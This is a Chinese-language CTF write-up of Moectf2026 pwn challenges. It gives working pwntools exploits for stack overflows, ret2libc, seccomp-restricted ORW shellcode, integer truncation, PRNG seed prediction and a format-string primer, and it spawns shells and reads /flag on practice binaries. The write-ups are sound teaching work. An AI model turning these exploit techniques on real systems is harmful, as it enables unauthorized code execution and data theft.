Moectf-Pwn

Moectf-Pwn

Moectf2026-Pwn 更新到week2

Moectf2026-PWN

确实算是新手入门教学,更新本次wp更新到week3,还有部分题目正在复现

悲今天眼睛痛死了()

今日推荐的歌曲

image-20260820181534063

Pwn入门之北

image-20260820181546141

如果你是一个新手的话建议查看.pdf内容,然后进行入门。我觉得Moectf能走到今天确实离不开西电同学的支持,在此非常感谢西电网络安全社团给大家一个这样的平台和详细写了各个方向的入门手册。

0x01 函数分析

image-20260820181845043

算是考了一个逆向,如果buf数组不等于2147483647的话就进行报错了

所以第一个空填写2147483647

第二个是s1需要等于Welcometomoectf2026pwn\n

所以整个脚本的书写就是

python
from pwn import *
context(os="linux", arch="amd64", log_level="debug") 

io = remote("127.0.0.1",63667) 

io.recvuntil(b"Hello,my friend.Please enter the password to begin") 

io.sendline(b"2147483647")

io.sendafter(b"Input your answer:", b"Welcometomoectf2026pwn\n") 

io.interactive()

走后门-shellcode

image-20260820182611144


0x01 函数分析

image-20260820183632703

main()

image-20260820182745114

vuln()

可以看到v1的作用就是指定buf可以读取多少个字节,同时满足v1 <= 0,那我们就直接设置v1为100吧

image-20260820182811185

这里就有一个栈溢出了,如果你不清楚栈溢出是什么的话请你跳转到这个文章进行学习再回来看这里会更加好,通过覆盖buf数组利用vuln的ret返回窃取到后门函数,在函数列表中我们发现了这个后门函数0x0401209

image-20260820183126373

Pwn_栈溢出ret2text | HACKED


0x02 EXP编写

python
from pwn import * 
context(os = 'linux',arch = 'amd64')
# r = process('./pwn')
r  = remote('127.0.0.1',42519)
r.sendafter(b'So how many do you want to give?', b'10000\n')
offset = 0x40+0x8
vuln = 0x0401209
ret = 0x401231
payload = b'A'*offset + p64(ret) +p64(0x0401209)
r.sendline(payload)
r.interactive()


Hello-World01 -libc

image-20260820183413128

0x01 程序分析

image-20260820183756195

可以看的出这是一个amd64程序,NX开启栈不可以执行,动态链接Libc


0x02 函数分析

main() ->0x040122E

image-20260820183722628

vuln() -> 0x04011FD

image-20260820184032350

可以看的出在这里存在栈溢出,read写入到buf超过了buf的大小。

第二个就是通过对main函数的发现,可以选择printf或者puts函数进行泄露,也就是通过泄露libc函数还原libc基址,从libc里边拿到system和/bin/sh执行。

原理的话请看这个文章

Pwn-ret2libc | HACKED


0x03 payload编写

python
from pwn import *
context(os = 'linux',arch = 'amd64')
# r = process('./pwn')
r = remote('127.0.0.1',26383)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

r.sendafter(b'Your answer:' , b'puts\n')
r.recvuntil(b"This function seems to be unsafe,right? ")

puts_addr = int(r.recvline().strip(),16)
print("puts addr -> ",hex(puts_addr))

libc.address= puts_addr - libc.symbols['puts']
pop_rdi = 0x04013d3
offset 	= 0x40+0x8
system 	= libc.symbols['system']
bin_sh 	= next(libc.search(b'/bin/sh\x00'))
ret 	= 0x040122D
payload = b'a'*offset + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.send(payload)
r.interactive()

ezpwn01 -webpwn

image-20260820184852950

0x01 题目分析

这是一个pwn的黑盒,HACKED当时也是用AI写的。

先利用web的思路看看能不能获取到源码

image-20260820201440838

可以看得出这是一个将pwn封装为web的过程,要求是发送的变量是payload,同时必须是bytes类型

首先先了解一个请求就是WebSocket

维度HTTP(寄信)WebSocket(打电话)
流程你寄一封信,对方回一封,结束你拨通电话,双方都能随时说话
适合「问一次答一次」「一边问一边持续回话」

这题为什么必须是 WebSocket 点 Run 之后发生了一连串事

  1. 浏览器把代码发给服务端
  2. 服务端跑 Python 构造 shellcode
  3. 服务端把 shellcode 喂给 chall
  4. chall 跑起来后,shell 输出会持续不断地回传(你敲 ls 就回 ls 的结果,你敲 cat /flag
text
就回 flag)
  1. 你还能继续给 shell 喂命令

这种「服务端能主动把消息推给你」的持续对话,HTTP 做不到——HTTP 寄完信就挂了。所以浏览器开发者用了 WebSocket。端口虽然一样是 40620,但路径不同——HTTP 是 /(拿 HTML),WebSocket 是 /ws(拿对话)。

所以我们使用F12-网络筛选ws

image-20260820202817807

可以发现使用RUN之后出现按了数据和协议信息

  • 请求:{"type":"run","code":"<你写的Python>"}
  • 响应:服务端先回 status 说"正在构建",构建完会回 meta 告诉你 payload 长度,构建失败回 error

那我们就先发送一个小小的payload看看这个shell需要什么吧


0x02 payload发送测试

image-20260820203559311

可以看到我们发送了简单的语句之后出现了错误,shellcode被加载到CPU了但是他不清楚架构,如果不指名架构pwntools可能生成的是错误的asm shellcode

那我们先试试amd64

image-20260820203842974

很完美拿到shell,那我们该找找文件了

image-20260820204045049

ezpwn02 -ORW

image-20260820205347324

这是一题考验ORW的题目,需要掌握权限读写,这里提到了ORW

Pwn-Stack_Feeding | HACKED

0x01 题目分析

image-20260820205559186

可以发现NX开启,PIE->随机化

如果不知道PIE的话可以看看这个文章

Pwn-PIE | HACKED


0x02 函数分析

image-20260820205858734

通过还原这个程序,也就是反汇编之后

main函数的结构如下

main()

有关函数

read_exact_constprop()

image-20260820210709236

就是read的安全写入,当成read去使用就行

其实这个题的关键就是在于如何绕过黑名单字符,不能出现00 0a 20 2f 66 6c 61 67这些汇编,也就是代码解析之后不能是这些十六进制,输入的大小限制为40字节,如何保证跳转之后的shellcode函数能够执行代码


0x03 收集必要信息

先看看这个题有没有出现/bin/sh和syscall类似的字符串

image-20260820211026249

看看有没有pop链子可以构造

image-20260820211329283

0x04 攻击思路

路线选择

seccomp 拦了 execve,所以不能拿 shell。必须自己打开 flag 文件、读内容、写出来:

c
openat(...)  →  read(fd, buf, n)  →  write(1, buf, n)
   开文件         把内容读到内存        打到 stdout

关键解法:stdin 搬运法

既然 /flag 不能直接出现在 shellcode 里,那就让它走 stdin:

c
你发给 chall 的总数据(52 字节):

┌──────────┬─────────────────┬──────────────────┐
│ 长度(4B)  │ shellcode(40B)  │ 路径(8B)         │
│ p32(40)  │ 你的 shellcode  │ /flag\0\0\0      │
└──────────┴─────────────────┴──────────────────┘
                ↑                  ↑
                程序 read 走这 40B  这 8B 还在 stdin
                                    shellcode 里 read(0,...) 抓它

shellcode 里一行都不许出现 /flag 这五个字节。

shellcode伪代码

c
void shellcode() {
    char *path = rbx + 0x40;          // flag路径放在 shellcode 之后,避免被覆盖

    read(0, path, 8);                 // 1. 从 stdin 抓 "/flag\0\0\0"
    int fd = openat(AT_FDCWD, path, 0);   // 2. 开文件
    read(fd, path, 0x60);             // 3. 读 flag 内容到 path
    write(1, path, 0x60);             // 4. 打到 stdout
}
read(0,path,8)伪代码
text
xor rax,rax
push 8
pop rdx
lea rsi,[rbx+0x40]
syscall

哎这时候可能有些同学就有疑问了,你是怎么知道shellcode这个函数的地址的(因为我们的程序是开启PIE的)?为什么能精确将/flag放到shellcode函数栈之后的?

在分配mmap空间的时候rbx存储的就是shellcode的地址,

image-20260820212912611

在最后调用的时候也是直接call rbx,说明rbx在shellcode赋值了之后就没有变过了

image-20260820213041024

自此所有函数的汇编构造如下

asm
; ============ Step 1: read(0, rbx+0x40, 8) ============
; 从 stdin 抓 "/flag\0\0\0"
xor eax, eax           ; rax = 0(syscall 号 = read)
push rax
pop rdi                ; rdi = 0(stdin)
push 8
pop rdx                ; rdx = 8(读 8 字节)
lea rsi, [rbx+0x40]    ; rsi = rbx+0x40(shellcode 后 64B 处)
syscall

; ============ Step 2: openat(AT_FDCWD, rbx+0x40, 0) ============
; rax 现在 = 8(step 1 返回字节数)
shl eax, 5             ; rax = 8 << 5 = 256
inc eax                ; rax = 257(openat 的 syscall 号)
push -100              ; -100 = AT_FDCWD(push imm8,符号扩展)
pop rdi                ; rdi = AT_FDCWD
xor edx, edx           ; rdx = 0(O_RDONLY)
syscall

; ============ Step 3: read(fd, rbx+0x40, 0x60) ============
mov edi, eax           ; rdi = fd(openat 返回值)
xor eax, eax           ; rax = 0(read 的 syscall 号)
mov dl, 0x60           ; rdx = 0x60(一次读 96B 够用)
syscall

; ============ Step 4: write(1, rbx+0x40, 0x60) ============
; rax 现在 = step 3 读到的字节数(≤ 0x60),高字节是 0
mov al, 1              ; rax = 1(write 的 syscall 号)
push 1
pop rdi                ; rdi = 1(stdout)
syscall

全部字节统计刚好就是40


0x05 payload


omg电台出问题了

函数分析

image-20260820221632903

0x01 程序分析

image-20260820224318130

出现了Canary,不过得看看程序具体是怎么走的


0x02 函数分析

main()

image-20260820223952126

先还原一下main函数的逻辑

repair_comple() -> 0x040182A

image-20260820225443228

可以看得出输入的长度不能超过0x48u

看看程序怎么运行的吧

image-20260820224507089

0x03 攻击流程

strlen函数漏洞

观察可以发现,v5位于v8指针的上方,那我们可以通过栈溢出将v8的指向替代成我们想要的函数位置

同时strlen存在致命的漏洞,遇到\x00则停止,也就是说payload中包含\x00就可以绕过这个限制进入指定区域


0x04 payload

python
from pwn import *
context(os= 'linux', arch='amd64', log_level='debug')
# r = process('./radio_relay')
r = remote('127.0.0.1',40943)
TARGET = 0x40182a   # repair_complete

payload = b'A'*32                 
payload += b'\x00'  #strlen检测\x00                
payload += b'a' *31                 
payload += p64(TARGET) #覆盖数据到v8字符串指针

r.send(b'\x48')
print(f'payload 长度 = {len(payload)} (期望 72)')
print(f'hex = {payload.hex()}')
r.send(payload)
r.interactive()

神灯的愿望

0x01 程序分析

image-20260820230328621
image-20260820230427902

0x02 函数解析

main()

image-20260820230517236

通过还原解析函数如下

win()

image-20260820231858623

通过观察函数可以发现v4是一个无符号的int类型,也就是可以通过输入负数,在解码的时候解析成无符号的int类型之后变成一个超大的数

image-20260820232201888


0x03 攻击原理

整数溢出

PWN学习-整数溢出 - Amsterdamnit - 博客园

只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。

剩余的愿望数>0x1BF51即可拿到shell

image-20260820232450412


ezpwn02_revenge-ORW

0x01 题目分析

image-20260927142558995

这是一个ELF 64的pwn程序。

main() ->0x0401324

image-20260927142831650

从语句中可以分析,这是一题简单的pwn的ORW沙箱问题,仅仅准许rax值read/write/openat/exit的汇编语句通过

观察可以发现buf申请了一个超大的栈空间,末尾处((void (*)(void))buf)()的意思是跳转到buf地址去执行

image-20260927144934316

mmap申请下来的内存会保存到rax中,这时候就是跳转到mmap申请的内存中去执行语句了,既然限制7字节read在第一次,那我们就写汇编语句去构造read(fd,page,size)

这里先科普一下fd 文件

Linux中的文件描述符fd(file descriptor)

File Descriptor(文件描述符) | 断念梦的站点

彻底弄懂 Linux 下的文件描述符(fd) - petercao - 博客园

我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。

和这题有什么关系呢?因为这是一个有关权限链接的问题,在ctf-pwn中,一般的远程链接服务端口本质上是TCP socket通讯。

c
我们的主机
┌──────────────┐
│ pwntools     │
│ remote(host, │
│ port)        │
└──────┬───────┘
       │
       │ TCP
       ▼
┌────────────────────┐
│ CTF 服务器          │
│                    │
│ listening socket   │
│       ↓            │
│   accept()         │
│       ↓            │
│ connected socket   │
│       ↓            │
│ PWN 目标进程        │
└────────────────────┘

这里要注意 两个 socket:

python
listen_fd = socket(...);
bind(..., 端口);
listen(listen_fd, ...);

它负责:

“有人连接我的这个端口吗?”

accept() 后得到的连接 socket

c
conn_fd = accept(listen_fd, ...);

这个 conn_fd 才是:

和你这次 CTF 连接真正进行数据收发的 socket。

然后服务器通常会把这个 conn_fd 通过 dup2() 绑定给目标程序:

c
dup2(conn_fd, 0);
dup2(conn_fd, 1);
dup2(conn_fd, 2);

于是目标 PWN 程序里面:

c
fd 0 ──┐
fd 1 ──┼──→ connected socket ──→ TCP ──→ 你的 pwntools
fd 2 ──┘
c
write(1, "hello", 5);
text
程序
 ↓
fd 1
 ↓
socket
 ↓
TCP
 ↓
pwntools

而我们发送的

python
p.send(b"AAAA")
c
pwntools
 ↓
TCP
 ↓
socket
 ↓
fd 0
 ↓
read(0, ...)
CTF-TCP连接
你的 pwntools  ←────────→  socket
                              ↑
                              │
                         fd 0/1/2
                              │
                              ↓
                         PWN 进程

这题就是巧在, 我使用的是read(1,page,0x10000) fd = 1去获取的管道信息,如果是本地的话不一定能打得开,他算是一种全新的思路。按照常规的话就是使用read(0,page,0x1000)。

stdin/stdout/stderr 是程序启动时对 fd 0/1/2 的默认约定;程序运行之后,fd 的具体绑定关系可以被程序本身、父进程或运行环境改变。

  1. 一般二进制程序刚启动时
    在正常情况下,进程会继承启动环境提供的:
text
fd 0 → 标准输入
fd 1 → 标准输出
fd 2 → 标准错误

通常进一步表现为:

text
fd 0 ──→ terminal
fd 1 ──→ terminal
fd 2 ──→ terminal

但是“stdin”不是 fd 0 的永久属性

不是

text
fd 0 = 天生的 stdin
fd 1 = 天生的 stdout

而是

text
进程启动时
    ↓
操作系统/父进程提供
    ↓
fd 0 → stdin
fd 1 → stdout
fd 2 → stderr

stdin/stdout/stderr 是进程启动时对 0/1/2 的标准约定。但是程序可以通过系统调用改变它

c
int fd = open("test.txt", O_RDONLY);

内核可能返回:

c
fd = 3

于是

c
0 → stdin
1 → stdout
2 → stderr
3 → test.txt

这是最普通的情况。

如果程序继续:

text
dup2(3, 0);

那么就变成:

text
0 → test.txt
1 → stdout
2 → stderr
3 → test.txt

此时:

text
read(0, buf, 100);

已经不是从原来的 stdin 读取,而是从 test.txt 读取。

对一般的二进制程序来说

c
              进程
               │
        ┌──────┴──────┐
        ↓             ↓
    fd table       用户代码
        │
        ├── 0 ──→ terminal   ← stdin
        ├── 1 ──→ terminal   ← stdout
        ├── 2 ──→ terminal   ← stderr
        └── 3 ──→ file

甚至程序启动的时候,0/1/2 就不一定是终端

shell
./program < input.txt > output.txt

所以程序内部:read(0,...)读取的是input.txt,而write(1, ...)写入的是output.txt

c
程序启动
   ↓
继承父进程提供的 fd
   ↓
通常:
0 → stdin
1 → stdout
2 → stderr
   ↓
程序运行过程中
   ↓
open / socket / pipe / dup2 / close ...
   ↓
通过系统调用请求内核改变 fd 状态

回到这题哈

0x02 解题思路

刚刚我们分析出了7字节的写入,那我们就是通过使用汇编语句将mmap进行写入执行read语句之后,再次写入opencat,read和write的汇编语句,当执行完read(1,page,0x1000)的时候rip会自动跳转到mmap之后不会返回原来的函数了。

那我们第一部分的exp就这样写吧,先观察一下有什么可以利用的

image-20260928171928193

可以发现我们可以通过xchg(交换)将数据相互替换

asm
# read(1,page,size) rdi -> 1,rsi -> page,rdx -> long_size
xchg rax,rsi
xchg eax,ebx
xchg edi,edx
syscall
# rax = 0

python
from pwn import *
context(os = 'linux',arch = 'adm64')
r = remote('127.0.0.1',XXXX)
payload = asm("""
	xchg rax,rsi
	xchg eax,ebx
	xchg edi,edx
	syscall
			 """)

0x03 第二部分的payload写入

第二部分就简单多了,就是按照常规的ORW写法去写入和上一题的ezpwn02 一样的流程

c
openat -> read -> write

既然这部分的mmap很大了,那么我们就把/flag写入到rbp+0x80之后吧,

asm
# read(1,page+0x80,0x8)
从socat 1中抓/flag\0\0\0
xor eax,eax
push 8
pop rdx
lea rsi,[rsi+0x80]
syscall

# openat(AT_FDCWD,/flag,O_RDONLY) rsi -> 0x80
shl eax,5
inc eax
push -100
pop rdi
xor edx,edx
syscall

# read(3,page+0x80,0x100)
mov edi,eax
xor eax,eax
mov dl,0x60
syscall

# write(1,page+0x80,0x100)
mov al,1
push 1
pop rdi
syscall

0x04 第一种payload

纯远程利用socket

如果是本地和远程用的话,就是另一个写法了

0x05 第二种payload

这个写法和我第一个写法不同是,我们可以借助main函数中的read,去将数据写入到mmap中。观察可以发现当运行到call rax的时候,栈上的数据是0x4013de,我们可以pop这个值给rdx,将read第三个参数进行替换,返回去借助main中的read

image-20260928222522776

image-20260928222238781

所以第一部分的payload也可以这样写


斯兰德先生的秘密 (srand's secret) - Writeup

0x01 题目分析

题目给出一个 ELF 64-bit 可执行文件 pwn,使用 not stripped,因此符号都可见:

  • init / main / gate1 / gate2 / gate3 / b4ckdo0r / lcg

通过 objdump -d pwn -M intel 反汇编观察,程序逻辑如下:

text
main()
 ├── init()
 ├── 打印欢迎语 + 三道 gate 提示
 ├── gate1()              ← 返回 time(NULL)
 ├── gate2(gate1_ret)     ← 返回 lcg(0x1bf52 迭代) 结果
 ├── gate3(gate2_ret)
 └── b4ckdo0r()           ← system("/bin/sh")

gate1 — Predict TIME

c
int gate1() {
    unsigned int t = time(NULL);
    srand(t);
    unsigned int x = rand();
    printf("Password:");
    scanf("%u", &ans);
    if (ans != x) { puts("You can't predict the time easily!"); exit(0); }
    puts("You've beaten the time and become a stronger self!");
    return t;
}

关键点:种子 t 直接来自 time(NULL),所以是可预测的;只要我们和服务器在同一秒(或 ±几秒)发起请求就能算出 rand() 的输出。

gate2 — Predict calculation (LCG)

c
int gate2(unsigned int t) {
    unsigned int state = t;
    for (int i = 0; i <= 0x1bf51; i++)        // 114514 次
        state = lcg(state);                   // (state * 0x41c64e6d + 0x3039) & 0x7fffffff
    printf("Password:");
    scanf("%u", &ans);
    if (ans != state) { puts("Well, it seems you don't know..."); exit(0); }
    puts("Good job! That's one of the ways how random number works.");
    return state;
}

关键点:递推是确定性的 LCG,迭代 114514 次后必须给出最终状态。

gate3 — Predict unknown

c
int gate3(unsigned int seed) {
    srand(seed);
    unsigned r1 = rand(), r2 = rand(), r3 = rand();
    printf("First random number:%u\n", r1);
    printf("Second random number:%u\n", r2);
    printf("Your answer:");
    scanf("%u", &ans);
    if (ans != r3) { puts("Haha...It's random, how can you predict it?"); exit(0); }
    puts("Wow, random number is in fact not random,right?");
    return r3;
}

关键点:srand 后三次 rand(),第三次是答案。glibc 的 rand() 用 TYPE_3 反馈移位寄存器,不是简单 LCG,必须严格复刻。

b4ckdo0r — 奖励 shell

c
void b4ckdo0r() {
    puts("Genius!");
    puts("You defeated all random gates! Here is your bonus:");
    system("/bin/sh");
}

0x02 解题思路(暴力破解 / 预测)

整道题唯一的"随机"来源就是 time(NULL),而且是用作 srand 的种子。其它都是确定性算法。所以思路是:

  1. 暴力枚举时间戳偏移:用 while true 不断尝试,每次给 time(NULL) 加上一个偏移量 ±N 秒(N 取 0~10),只要本地时钟和服务器时钟差不太多就一定命中。
  2. gate1:srand(t+offset) 后调一次 rand() —— 直接复刻 glibc 行为。
  3. gate2:把 gate1 给出的种子送进 LCG 迭代 114514 次。
  4. gate3:用 gate2 的结果再 srand,调三次 rand(),把第三个作为答案。

为了避免在 Python 里重新实现 glibc 的 TYPE_3 PRNG(很容易写错),直接写一个 C 帮手程序把整条链算出来,再用 pwntools 把三个答案喂回去。


0x03 关键工具

  • pwntools(负责 I/O)
  • 一个 C 帮手(用真正的 glibc srand/rand)输出三道 gate 的答案

0x04 复现步骤

1. 准备帮手 C 程序文件 /tmp/helper.c

c
# include <stdio.h>
# include <stdlib.h>
# include <stdint.h>
# include <time.h>

uint32_t lcg_step(uint32_t s) {
    return (s * 0x41c64e6du + 0x3039u) & 0x7fffffff;
}

int main(int argc, char **argv) {
    int off = atoi(argv[1]);
    uint32_t t = (uint32_t)time(NULL) + off;

    srand(t);
    uint32_t g1 = rand();

    uint32_t s = t & 0x7fffffff;
    for (int i = 0; i <= 0x1bf51; i++) s = lcg_step(s);
    uint32_t g2 = s;

    srand(g2);
    rand(); rand(); uint32_t g3 = rand();

    printf("%u %u %u\n", g1, g2, g3);
    return 0;
}

编译:

bash
gcc /tmp/helper.c -o /tmp/helper_keep

2. 暴力破解主程序 solve.py


0x05 漏洞点 / Trick 总结

  • 伪随机 ≠ 真随机:所有"随机数"都来自 srand(time(NULL)),而种子是确定的、可预测的。
  • LCG 不需要逆向:只是大量迭代而已,CPU 一秒钟算完。
  • glibc rand 不是线性同余:必须用真正的 srand/rand(通过 C 帮手)来复现,自己写 Python 实现容易在 TYPE_3 状态机上出错。
  • 暴力枚举时间戳:本地与服务器时钟相差几秒内一定命中,while true + 小范围偏移足以保证成功。

0x06 命中奖励

通过三道 gate 后程序调用 b4ckdo0r() → system("/bin/sh"),拿到 shell 后 cat flag* 即可。


百万英镑

0x01 题目信息

  • 题目:百万英镑
  • 类别:Pwn(栈溢出)
  • 平台:Linux x86_64
  • 防护:NX 开,No PIE,No Canary,Not Stripped
shell
$ file million-pound
million-pound: ELF 64-bit LSB executable, x86-64, dynamically linked,
                interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
                not stripped

$ checksec --file=./million-pound
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)

0x02 程序行为

程序输出 Mark Twain《百万英镑》里那段经典的支票清单,然后问用户要写多少张支票,最后读入相应字节数:

word
== million pound ==
I want one fine million-pound cheque,
one brand-new million-pound cheque,
...
How many should I prepare? What would you like written, sir? [输入数字]
[输入内容]
Very good, sir.

0x03 关键函数

函数地址功能
0x401236 initialise关缓冲区 + alarm(60)
0x4012a5 read_numberfgets 读一行 → strtoul 转成无符号长整数
0x401310 read_exact循环 read 读够指定字节数
0x40137f cheque_bytesreturn n * 8(n 左移 3 位)
0x401394 staff_room直接 execve("/bin/sh", ...) —— win 函数
0x40113c9 main主逻辑

main()函数

image-20260821143956621

staff_room()

image-20260821144027499


0x04 漏洞:整数截断(Integer Truncation)

触发链

text
number (unsigned long, 8 字节)
    │
    ├─→ v5 = number * 8(取低字节 al)──→ cheque 检查:v5 ≤ 0x60 ?
    │                                       ↑ 只看 1 字节
    └─→ read_exact(fd, buf, number * 8) ──→ 实际读完整 64 位大小
                                              ↑ 用 8 字节

检查用截断后的值,读用完整的值——这就是漏洞。可以看到v5是int8 也就是写入到al

为什么 number=12 不够,number=44 可以

text
number=12:  number*8 = 96  = 0x060   al=0x60  ≤0x60 ✓   实际读 96 字节  ✗ 不够
number=13:  number*8 = 104 = 0x068   al=0x68  >0x60 ✗   被踢
...
number=31:  number*8 = 248 = 0x0f8   al=0xf8  >0x60 ✗   被踢
number=32:  number*8 = 256 = 0x100   al=0x00  ≤0x60 ✓   实际读 256 字节 ✓ 够
number=44:  number*8 = 352 = 0x160   al=0x60  ≤0x60 ✓   实际读 352 字节 ✓ 够
number=45:  number*8 = 360 = 0x168   al=0x68  >0x60 ✗   被踢

合法 number 的范围是 [32, 44](这个区间内 n*8 低字节都 ≤ 0x60)。


栈布局

text
rbp-0x70  ┌──────────────────┐
          │     buffer       │  112 字节(要溢出到这里)
          │     ...          │
rbp-0x09  ├──────────────────┤
          │   v5 (1 byte)    │
rbp-0x08  ├──────────────────┤
          │   number (8 byte)│
rbp       ├──────────────────┤
          │   saved rbp      │  8 字节
rbp+0x08  ├──────────────────┤
          │   return address │  8 字节 ← 我们覆盖这个
          └──────────────────┘

要覆盖返回地址,需要至少 112 + 8 + 8 = 128 字节。


0x05 payload编写

python
from pwn import *
context(os = 'linux',arch = 'amd64')
# r = process('./million-pound')
r = remote('127.0.0.1',17651)
r.recvuntil(b'How many should I prepare?')
r.sendline(b'44')
r.recvuntil(b'What would you like written, sir?')
offset = 0x70
ret = 0x040149A 
payload = b'a'*0x70+p64(ret)+p64(0x0401394)
payload  = payload.ljust(0x160, b'a')
time.sleep(0.2)
r.sendline(payload)
r.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null')
r.sendline(b'ls -la /')
r.sendline(b'id')
print(r.recvall(timeout=3).decode(errors='replace'))
r.interactive()

自助打印机-SROP

https://ctf.xidian.edu.cn/games/37/challenges?challenge=1383

0x01 程序结构分析

image-20261009205136295

参数参数描述
NX enable shellcode使用汇编代码会失效,不具有X执行权限。那syscall汇编可以忽略了。
canary found栈开启了金丝雀保护,可能需要获取金丝雀的值进行栈溢出的绕出保护
SHSTK影子栈保护开启,普通的写操作指令(如 mov、memcpy)无法向该内存区域写入,只有 call、ret 等特定控制流硬件指令或内核态专有指令才能操作。防御ROP

0x02 函数分析

read_exact -> 0x401815

函数解释 强制从标准输入(stdin,文件描述符 0)读取指定长度(a2 字节)的数据,少读一个字节都不行;如果不满或出错,直接终止程序。

image-20261009210123811

confirm_print_job -> 0x0401878

image-20261009210222059z

在这个函数中出现了栈溢出,0x30是可操控的溢出,不过得看看还有什么信息。NX开启了所以应该得进行栈迁移,不然也不够写ROP链子这些

main->0x04018A2

image-20261009210027886

image-20261009213134993

根据逻辑判断,这个v4输入1字节的数应该走到的是if语句里边,但是跑到了else。

image-20261009213302268

在程序里边ASCII输入数字的值是31起步的,read_exact的逻辑是读取前两个字节,按照小端序规则填进栈中变量v4

输入的1 \n就导致了31 0a在程序显示的是 0x0a31超过了0x400,所以还得使用p16去发送字节

简单写一个脚本

python
from pwn import *
context(os = 'linux',arch = 'amd64')
r = process('./printer_queue')
r.recvuntil(b'[printer] Send print queue data:')
r.send(p16(0x1))
r.interactive()

image-20261009214346227

说明判断成功了,继续分析

read_exact(&print_queue, v4);

print_queue地址指向的是bss段(0x04A9A80),发现这里具有超大的空间存储。说明payload需要写到这里进行执行

image-20261009214715973
image-20261009215153517

那这个程序的攻击流程可以定下来了。

这题没有libc文件,没有后门函数,ret2dlresolve缺乏.dynsym,那栈溢出只剩下SROP用法了


0x03 攻击流程

image-20261009220452533


0x04 payload


外卖补贴--格式化字符串漏洞

格式化字符串漏洞

可以看看这个师傅的对格式化字符串的解释:格式化字符串漏洞原理及其利用详解(附带例题讲解)

格式化字符串漏洞(Format String Vulnerability)是 C/C++ 等低级语言中一种经典且高危的内存安全漏洞。它的核心成因是:程序员将用户可控的输入直接作为格式化函数(如 printf、sprintf、fprintf 等)的第一个参数(即“格式化字符串”本身),而不是作为待格式化的数据参数传入。

这使得攻击者可以通过构造特殊的格式化占位符(如 %x、%s、%n),诱使程序越界读取栈内存中的数据,甚至向任意内存地址写入数据,进而实现信息泄露或控制程序执行流(劫持代码执行)。


1. 漏洞成因对比

在 C 语言中,格式化输出函数的正确用法与存在漏洞的用法仅有一字之差:

c
char user_input[100];
scanf("%99s", user_input);

// 【存在漏洞的写法】直接将用户输入作为格式化字符串
printf(user_input);

// 【安全的写法】显式指定格式化字符串,将用户输入作为普通数据参数
printf("%s", user_input);

正常情况: 当传入 printf("Hello %s", "World") 时,printf 解析第一个参数,看到一个 %s,便会去栈上(或对应的寄存器中)寻找紧随其后的第二个参数地址,并将其内容作为字符串打印出来。

漏洞触发: 当执行 printf(user_input) 且用户输入为 "Hello %x %x %x" 时,程序员并没有为 printf 提供后续参数,但 printf 函数本身无法检测实际传入的参数个数。它依然会忠实地解析字符串里的三个 %x,并顺着当前栈帧继续向上读取紧邻的三个内存单元的数据,将它们以十六进制形式打印出来。


2. 底层机制与攻击危害

C 语言中的可变参数函数(Variadic Functions)依赖调用约定(在 32 位 x86 架构中完全依赖栈,在 64 位 x86_64 架构中前 6 个参数使用寄存器 RDI, RSI, RDX, RCX, R8, R9,超出部分使用栈)。当格式化占位符的数量超过实际传入的参数数量时,解析指针就会顺着栈内存不断向高地址偏移。

攻击者利用不同的格式化说明符,可以达成三种核心危害:

攻击类型核心占位符原理与危害描述
栈内存泄露(信息泄露)%x / %p逐个读取栈上的十六进制数值或指针。攻击者借此泄露栈地址、函数返回地址、堆地址或 Canary(栈保护金丝雀值),从而绕过 ASLR(地址空间布局随机化)等现代防护机制。
任意地址内存读取 / 崩溃%s%s 会将对应栈单元中的数值视为一个内存地址指针,并去读取该地址指向的字符串内容。如果攻击者通过计算偏移指定栈上某个特定地址,就能读取任意内存(如密码、密钥);如果该值是一个非法地址(如 0x00000000),程序会立即触发段错误(Segmentation Fault)而崩溃。
任意地址内存写入(代码执行)%n%n 是最危险的占位符——它不输出内容,而是将截至目前已成功输出的字符总数,写入到对应参数所指向的内存地址中。配合宽度控制符(如 %100c)和直接参数访问(如 %4$n,指定访问第 4 个参数),攻击者可以向任意内存地址(如函数的返回地址、GOT 全局偏移表)写入精心构造的数值,直接劫持程序控制流执行恶意代码(Shellcode 或 ROP 链)。

3. 进阶利用技巧:直接参数访问($)

在实际攻击中,攻击者不需要输入成百上千个 %x 来一步步挪动栈指针。POSIX 标准支持使用 %k$ 语法直接指定读取第 kk 个参数:

  • %6$p:直接以指针格式打印第 6 个参数位置的内存值。
  • 任意地址读写组合拳:如果攻击者输入的字符串本身就存储在栈上(例如位于相对于 printf 的第 6 个参数位置),攻击者可以在输入字符串的开头填入目标内存地址(如 0x08049724),随后在字符串后半部分加上 %6$s 或 %6$n。这样 printf 就会将攻击者自己输入的地址当作指针进行解引用,实现精准的任意地址读取或任意地址篡改。

4. 防御与修复方案

  1. 永远硬编码格式化字符串: 绝对不要将外部输入直接作为格式化函数的第一个参数。始终使用 printf("%s", user_input),如果只是单纯输出字符串且不需要格式化,优先使用更安全的 puts(user_input) 或 fputs(user_input, stdout)。
  2. 开启编译器警告: 在使用 GCC 或 Clang 编译时,开启 -Wformat 和 -Wformat-security(通常包含在 -Wall 中,也可加上 -Werror=format-security 将警告升级为编译错误)。编译器会自动检测那些格式化字符串非常量且没有后续参数的危险调用。
  3. 启用 _FORTIFY_SOURCE 防护: 在编译时开启 -D_FORTIFY_SOURCE=2。在开启该保护后,Glibc 会在运行时检查 %n 是否位于可写内存段中(防止攻击者将带有 %n 的恶意字符串放在栈或堆上执行),并在使用 $ 跨参数访问时强制检查参数连续性。

本题就是使用了格式化字符串漏洞%n篡改指针的指向值

0x01 题目分析

image-20261014201916039

PIE随机化打开,所以得看看有没有什么方式去泄露image-20261014201949316

发现了/bin/sh关键的shell字符串,应该是有后门函数


0x02 函数分析

以下的地址都不是静态地址,使用base表示基址

read_exact -> base+0x01442

read_exact函数含义:

